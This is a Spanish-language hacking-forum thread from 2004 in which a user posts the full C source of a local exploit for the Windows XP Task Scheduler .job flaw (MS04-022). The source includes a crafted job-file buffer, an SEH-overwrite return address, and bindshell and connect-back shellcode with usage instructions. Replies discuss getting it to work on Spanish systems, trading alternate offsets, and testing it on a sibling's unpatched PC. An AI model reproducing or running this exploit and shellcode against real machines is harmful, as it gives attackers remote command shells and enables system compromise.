elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


 


Tema destacado:


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  Microsoft Windows XP Task Scheduler (.job) Universal Exploit (MS04-022)
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 Ir Abajo Respuesta Imprimir
Autor Tema: Microsoft Windows XP Task Scheduler (.job) Universal Exploit (MS04-022)  (Leído 5,495 veces)
Rojodos
Colaborador
***
Desconectado Desconectado

Mensajes: 3.537



Ver Perfil WWW
Microsoft Windows XP Task Scheduler (.job) Universal Exploit (MS04-022)
« en: 1 Agosto 2004, 09:38 »

Bueno, solo recordar que este exploit es un exploit LOCAL, es decir, lo tienes que subir a la maquina a hackear (o llevarlo en un disquete, en un CD, en un dispositivo USB, etc...).

Las shellcodes son una bindshell y una reverse shell.

Salu2


Código:
/* HOD-ms04022-task-expl.c:
 *
 * (MS04-022) Microsoft Windows XP Task Scheduler (.job) Universal Exploit
 *
 * Exploit version 0.1 coded by
 *
 *
 *                 .::[ houseofdabus ]::.
 *
 *
 * [at inbox dot ru]
 * -------------------------------------------------------------------
 * Tested on:
 *    - Internet Explorer 6.0 (SP1) (iexplore.exe)
 *    - Explorer (explorer.exe)
 *    - Windows XP SP0, SP1
 *
 * -------------------------------------------------------------------
 * Compile:
 *    Win32/VC++  : cl HOD-ms04022-task-expl.c
 *    Win32/cygwin: gcc HOD-ms04022-task-expl.c -lws2_32.lib
 *    Linux       : gcc -o HOD-ms04022-task-expl HOD-ms04022-task-expl.c
 *
 * -------------------------------------------------------------------
 * Command Line Parameters/Arguments:
 *
 *   HOD.exe <file> <shellcode> <bind/connectback port> [connectback IP]
 *
 *   Shellcode:
 *        1 - Portbind shellcode
 *        2 - Connectback shellcode
 *
 * -------------------------------------------------------------------
 * Example:
 *
 * C:\>HOD-ms04022-task-expl.exe expl.job 1 7777
 *
 * (MS04-022) Microsoft Windows XP Task Scheduler (.job) Universal Exploit
 *
 * --- Coded by .::[ houseofdabus ]::. ---
 *
 * [*] Shellcode: Portbind, port = 7777
 * [*] Generate file: expl.job
 *
 * C:\>
 *
 * start IE -> C:\
 *
 * C:\>telnet localhost 7777
 * Microsoft Windows XP [‚¥àá¨ï 5.1.2600]
 * (‘) Š®à¯®à æ¨ï Œ ©ªà®á®äâ, 1985-2001.
 *
 * C:\Documents and Settings\v.X\ ¡®ç¨© á⮫>
 *
 * -------------------------------------------------------------------
 *
 *   This is provided as proof-of-concept code only for educational
 *   purposes and testing by authorized individuals with permission to
 *   do so.
 *
 */

/* #define _WIN32 */

#include <stdio.h>
#include <stdlib.h>

#ifdef _WIN32
#pragma comment(lib,"ws2_32")
#include <winsock2.h>

#else
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#endif



unsigned char jobfile[] =

/* job header */
"\x01\x05\x01\x00\xD9\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
"\xFF\xFF\xFF\xFF\x46\x00\x92\x00\x00\x00\x00\x00\x3C\x00\x0A\x00"
"\x20\x00\x00\x00\x00\x14\x73\x0F\x00\x00\x00\x00\x03\x13\x04\x00"
"\xC0\x00\x80\x21\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00"

/* length */
"\x11\x11"

/* garbage C:\... */
/* unicode */
"\x43\x00\x3A\x00\x5C\x00\x61\x00"
"\x2E\x00\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00"
"\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00"

"\x1E\x82\xDC\x77"

/* 0x77dc821e - pop reg, pop reg, ret (advapi32.dll) */
/* for Win2k use jmp ebx or call ebx  */

"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
"\x80\x31\x31\x80" /* generate exception */

"\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00"
"\x90\x90";



/* portbind shellcode */
unsigned char portbindsc[] =
"\x90\x90"
"\x90\x90\xEB\x06" /* overwrite SEH-frame */
"\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"

"\xeb\x70\x56\x33\xc0\x64\x8b\x40\x30\x85\xc0\x78\x0c\x8b\x40\x0c"
"\x8b\x70\x1c\xad\x8b\x40\x08\xeb\x09\x8b\x40\x34\x8d\x40\x7c\x8b"
"\x40\x3c\x5e\xc3\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x05\x78"
"\x03\xd5\x8b\x4a\x18\x8b\x5a\x20\x03\xdd\xe3\x34\x49\x8b\x34\x8b"
"\x03\xf5\x33\xff\x33\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x03"
"\xf8\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x03\xdd\x66\x8b"
"\x0c\x4b\x8b\x5a\x1c\x03\xdd\x8b\x04\x8b\x03\xc5\x89\x44\x24\x1c"
"\x61\xc3\xeb\x3d\xad\x50\x52\xe8\xa8\xff\xff\xff\x89\x07\x83\xc4"
"\x08\x83\xc7\x04\x3b\xf1\x75\xec\xc3\x8e\x4e\x0e\xec\x72\xfe\xb3"
"\x16\x7e\xd8\xe2\x73\xad\xd9\x05\xce\xd9\x09\xf5\xad\xa4\x1a\x70"
"\xc7\xa4\xad\x2e\xe9\xe5\x49\x86\x49\xcb\xed\xfc\x3b\xe7\x79\xc6"
"\x79\x83\xec\x60\x8b\xec\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x5e"
"\xe8\x3d\xff\xff\xff\x8b\xd0\x83\xee\x36\x8d\x7d\x04\x8b\xce\x83"
"\xc1\x10\xe8\x9d\xff\xff\xff\x83\xc1\x18\x33\xc0\x66\xb8\x33\x32"
"\x50\x68\x77\x73\x32\x5f\x8b\xdc\x51\x52\x53\xff\x55\x04\x5a\x59"
"\x8b\xd0\xe8\x7d\xff\xff\xff\xb8\x01\x63\x6d\x64\xc1\xf8\x08\x50"
"\x89\x65\x34\x33\xc0\x66\xb8\x90\x01\x2b\xe0\x54\x83\xc0\x72\x50"
"\xff\x55\x24\x33\xc0\x50\x50\x50\x50\x40\x50\x40\x50\xff\x55\x14"
"\x8b\xf0\x33\xc0\x33\xdb\x50\x50\x50\xb8\x02\x01\x11\x5c\xfe\xcc"
"\x50\x8b\xc4\xb3\x10\x53\x50\x56\xff\x55\x18\x53\x56\xff\x55\x1c"
"\x53\x8b\xd4\x2b\xe3\x8b\xcc\x52\x51\x56\xff\x55\x20\x8b\xf0\x33"
"\xc9\xb1\x54\x2b\xe1\x8b\xfc\x57\x33\xc0\xf3\xaa\x5f\xc6\x07\x44"
"\xfe\x47\x2d\x57\x8b\xc6\x8d\x7f\x38\xab\xab\xab\x5f\x33\xc0\x8d"
"\x77\x44\x56\x57\x50\x50\x50\x40\x50\x48\x50\x50\xff\x75\x34\x50"
"\xff\x55\x08\xf7\xd0\x50\xff\x36\xff\x55\x10\xff\x77\x38\xff\x55"
"\x28\xff\x55\x0c";



/* connectback shellcode */
unsigned char connectbacksc[] =
"\x90\x90"
"\x90\x90\xEB\x06" /* overwrite SEH-frame */
"\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"

"\xeb\x70\x56\x33\xc0\x64\x8b\x40\x30\x85\xc0\x78\x0c\x8b\x40\x0c"
"\x8b\x70\x1c\xad\x8b\x40\x08\xeb\x09\x8b\x40\x34\x8d\x40\x7c\x8b"
"\x40\x3c\x5e\xc3\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x05\x78"
"\x03\xd5\x8b\x4a\x18\x8b\x5a\x20\x03\xdd\xe3\x34\x49\x8b\x34\x8b"
"\x03\xf5\x33\xff\x33\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x03"
"\xf8\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x03\xdd\x66\x8b"
"\x0c\x4b\x8b\x5a\x1c\x03\xdd\x8b\x04\x8b\x03\xc5\x89\x44\x24\x1c"
"\x61\xc3\xeb\x35\xad\x50\x52\xe8\xa8\xff\xff\xff\x89\x07\x83\xc4"
"\x08\x83\xc7\x04\x3b\xf1\x75\xec\xc3\x8e\x4e\x0e\xec\x72\xfe\xb3"
"\x16\x7e\xd8\xe2\x73\xad\xd9\x05\xce\xd9\x09\xf5\xad\xec\xf9\xaa"
"\x60\xcb\xed\xfc\x3b\xe7\x79\xc6\x79\x83\xec\x60\x8b\xec\xeb\x02"
"\xeb\x05\xe8\xf9\xff\xff\xff\x5e\xe8\x45\xff\xff\xff\x8b\xd0\x83"
"\xee\x2e\x8d\x7d\x04\x8b\xce\x83\xc1\x10\xe8\xa5\xff\xff\xff\x83"
"\xc1\x10\x33\xc0\x66\xb8\x33\x32\x50\x68\x77\x73\x32\x5f\x8b\xdc"
"\x51\x52\x53\xff\x55\x04\x5a\x59\x8b\xd0\xe8\x85\xff\xff\xff\xb8"
"\x01\x63\x6d\x64\xc1\xf8\x08\x50\x89\x65\x30\x33\xc0\x66\xb8\x90"
"\x01\x2b\xe0\x54\x83\xc0\x72\x50\xff\x55\x1c\x33\xc0\x50\x50\x50"
"\x50\x40\x50\x40\x50\xff\x55\x14\x8b\xf0\x68\x7f\x01\x01\x01\xb8"
"\x02\x01\x11\x5c\xfe\xcc\x50\x8b\xdc\x33\xc0\xb0\x10\x50\x53\x56"
"\xff\x55\x18\x33\xc9\xb1\x54\x2b\xe1\x8b\xfc\x57\x33\xc0\xf3\xaa"
"\x5f\xc6\x07\x44\xfe\x47\x2d\x57\x8b\xc6\x8d\x7f\x38\xab\xab\xab"
"\x5f\x33\xc0\x8d\x77\x44\x56\x57\x50\x50\x50\x40\x50\x48\x50\x50"
"\xff\x75\x30\x50\xff\x55\x08\xf7\xd0\x50\xff\x36\xff\x55\x10\xff"
"\x77\x38\xff\x55\x20\xff\x55\x0c";



/* use this form
unsigned char sc[] =
"\x90\x90"
"\x90\x90\xEB\x06" - overwrite SEH-frame
"\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"

"... code ...";
*/

unsigned char endofjob[] = "\x00\x00\x00\x00";

#define SET_PORTBIND_PORT(buf, port) *(unsigned short *)(((buf)+300+16)) = (port)
#define SET_CONNECTBACK_IP(buf, ip)     *(unsigned long *)(((buf)+283+16)) = (ip)
#define SET_CONNECTBACK_PORT(buf, port) *(unsigned short *)(((buf)+290+16)) = (port)

void
usage(char *prog)
{
printf("Usage:\n");
printf("%s <file> <shellcode> <bind/connectback port> [connectback IP]\n", prog);
printf("\nShellcode:\n");
printf("      1 - Portbind shellcode\n");
printf("      2 - Connectback shellcode\n\n");
exit(0);
}

int
main(int argc, char **argv)
{
unsigned short strlen;
unsigned short port;
unsigned long ip, sc;
FILE *fp, *fp2;

printf("\n(MS04-022) Microsoft Windows XP Task Scheduler (.job) Universal Exploit\n\n");
printf("--- Coded by .::[ houseofdabus ]::. ---\n\n");

if (argc < 4) usage(argv[0]);

sc = atoi(argv[2]);
if ( ((sc == 2) && (argc < 5)) || (sc > 2)) usage(argv[0]);

fp = fopen(argv[1], "wb");
if (fp == NULL) {
printf("[-] error: can\'t create file: %s\n", argv[1]);
exit(0);
}

/* header & garbage */
fwrite(jobfile, 1, sizeof(jobfile)-1, fp);
fseek(fp, 39*16, SEEK_SET);

port = atoi(argv[3]);
printf("[*] Shellcode: ");
if (sc == 1) {
SET_PORTBIND_PORT(portbindsc, htons(port));
printf("Portbind, port = %u\n", port);
fwrite(portbindsc, 1, sizeof(portbindsc)-1, fp);
fwrite(endofjob, 1, 4, fp);
fseek(fp, 70, SEEK_SET);
/* calculate length (see header) */
strlen = (sizeof(jobfile)-1-71+sizeof(portbindsc)-1+4)/2;
}
else {
ip = inet_addr(argv[4]);
SET_CONNECTBACK_IP(connectbacksc, ip);
SET_CONNECTBACK_PORT(connectbacksc, htons(port));
printf("Connectback, port = %u, IP = %s\n", port, argv[4]);
fwrite(connectbacksc, 1, sizeof(connectbacksc)-1, fp);
fwrite(endofjob, 1, 4, fp);
fseek(fp, 70, SEEK_SET);
/* calculate length (see header) */
strlen = (sizeof(jobfile)-1-71+sizeof(connectbacksc)-1+4)/2;
}

printf("[*] Generate file: %s\n", argv[1]);
fwrite(&strlen, 1, 2, fp);
fclose(fp);

return 0;
}
En línea

Soul-edge

Desconectado Desconectado

Mensajes: 15



Ver Perfil
Re: Microsoft Windows XP Task Scheduler (.job) Universal Exploit (MS04-022)
« Respuesta #1 en: 1 Agosto 2004, 11:45 »

Hola a el foro por wue soy nuevo en esto xD
tengo una duda acerca del exploit:
este exploit es solo para la version en ingles no? es que me parecio leer por ahi que era solo para la inglesa, y al compilarlo sin warnings y sin errores lo ejecute en un pc donde tengo Windows xp sp1 en español y al intentar conectarme con el netcat nada.

PD: en dev-c++ compila sin problemas
En línea

Rojodos
Colaborador
***
Desconectado Desconectado

Mensajes: 3.537



Ver Perfil WWW
Re: Microsoft Windows XP Task Scheduler (.job) Universal Exploit (MS04-022)
« Respuesta #2 en: 4 Agosto 2004, 21:16 »

El exploit creo que es para una version china o japonesa.

Por lo menos, el offset: \x1E\x82\xDC\x77 (77DC821E) no corresponde a nada en la libreria advapi32.dll en español.

He estado buscando la cadena que dice el exploit (pop registro, pop registro, retn) pero no encuentro esas 3 instrucciones seguidas en esa DLL.... (para XP)

Ahora toi probando los offsets en Win 2k SP4 español, a ver si funciona....

Salu2
En línea

byebye


Desconectado Desconectado

Mensajes: 5.093



Ver Perfil
Re: Microsoft Windows XP Task Scheduler (.job) Universal Exploit (MS04-022)
« Respuesta #3 en: 4 Agosto 2004, 21:25 »

mira esta linea si estas en win2k:
Citar
for Win2k use jmp ebx or call ebx
En línea

Rojodos
Colaborador
***
Desconectado Desconectado

Mensajes: 3.537



Ver Perfil WWW
Re: Microsoft Windows XP Task Scheduler (.job) Universal Exploit (MS04-022)
« Respuesta #4 en: 4 Agosto 2004, 21:31 »

Ya, y he usado el offset 0x793c4a66 (kernel32.dll jmp ebx)

Y me cargao el win 2k xDDDDD

No para de salir errores de explorer.exe

Y estoy seguro de que no esta parcheado, asi que el error es del offset o el exploit esta mal.

A ver que pasa...
En línea

Rojodos
Colaborador
***
Desconectado Desconectado

Mensajes: 3.537



Ver Perfil WWW
Re: Microsoft Windows XP Task Scheduler (.job) Universal Exploit (MS04-022)
« Respuesta #5 en: 4 Agosto 2004, 21:40 »

Bueno, al menos lo he arreglado. Borrando el archivo "create_account.job" se soluciona el problema (por si a alguien le pasa). Lo malo es que tienes que parar el explorer, y borrar el archivo por cmd.exe.

Nota: El exploit crea un archivo .job (del programador de tareas) llamado create_account.job. Es obvio, que si el programador de tareas no esta funcionando en el sistema (como servicio) pues como que el exploit no funcionara seguro.

Para que la "victima" caiga, tiene que ejecutar el create_account.job, NO el exe que crea este archivo (el exe seria este source compilado)

Por lo demas, me da susto probar mas offsets xDDD, a ver si me cargo el win 2k de mi hermano pequeño y me cae una wena xDDDDDDD

Salu2
En línea

Rojodos
Colaborador
***
Desconectado Desconectado

Mensajes: 3.537



Ver Perfil WWW
Re: Microsoft Windows XP Task Scheduler (.job) Universal Exploit (MS04-022)
« Respuesta #6 en: 4 Agosto 2004, 21:43 »

Vale, soy tonto del culo.  ;D

Saque el offset en mi portatil que es un Win2k SP4, y lo pruebo en el pc de mi hermano que tiene un Win2k SP2. Al menos, acerte en que no estaba parcheado....

Joer joer joer.

xDDDDDDDD
En línea

Linuxtron

Desconectado Desconectado

Mensajes: 44



Ver Perfil
Re: Microsoft Windows XP Task Scheduler (.job) Universal Exploit (MS04-022)
« Respuesta #7 en: 4 Agosto 2004, 23:13 »

BUHAHAJAJA

Rojodos no tienes que ponerte asi.....xDDD

Por cierto nadie sabra x dnd anda el offset para winxp esp, no? (parece ser q este es para v china y jap)

Tonces funciona?

salu2
En línea

Rojodos
Colaborador
***
Desconectado Desconectado

Mensajes: 3.537



Ver Perfil WWW
Re: Microsoft Windows XP Task Scheduler (.job) Universal Exploit (MS04-022)
« Respuesta #8 en: 4 Agosto 2004, 23:34 »

Mi Win XP esta parcheado hasta las orejas (eso creo) por lo que no lo puedo probar aki.

Por eso lo pruebo en los Win2k.

De todas formas, he probado en el SP2 otro offset (el primero que te sale al hacer un findjmp kernel32.dll ebx) y tampoco va, se peta el explorer, y toca reinciar y borrar ese archivo en simbolo de sistema a prueba de fallos....

Se man kitao las ganas de probar mas xDDDDDD

Salu2
En línea

el-brujo
ehn
***
Desconectado Desconectado

Mensajes: 19.347


La libertad no se suplica, se conquista


Ver Perfil WWW
Re: Microsoft Windows XP Task Scheduler (.job) Universal Exploit (MS04-022)
« Respuesta #9 en: 5 Agosto 2004, 04:16 »

Citar
Por cierto nadie sabra x dnd anda el offset para winxp esp, no? (parece ser q este es para v china y jap)


Código:
} lang[] = {
{ 0x0c,"Gestionnaire d'utilitaires","aide de Windows","Ouvrir" }, /* French */
{ 0x09,"Utility manager","Windows Help","Open" }, /* English */
{ 0x0a,"Administrador de utilidades", "Ayuda de Windows", "Abrir" }, /* Español */
{ 0x03,"Administrador d'utilitats", "Ajuda de Windows", "Obre" } /* Català */
};

(Vic_Thor dixit)
En línea

Since 2001, still kicking hard
Páginas: [1] 2 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Epic llama luchar contra Microsoft y su Universal Windows Platform
Noticias
wolfbcn 6 1,086 Último mensaje 5 Marzo 2016, 17:09
por #!drvy
Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines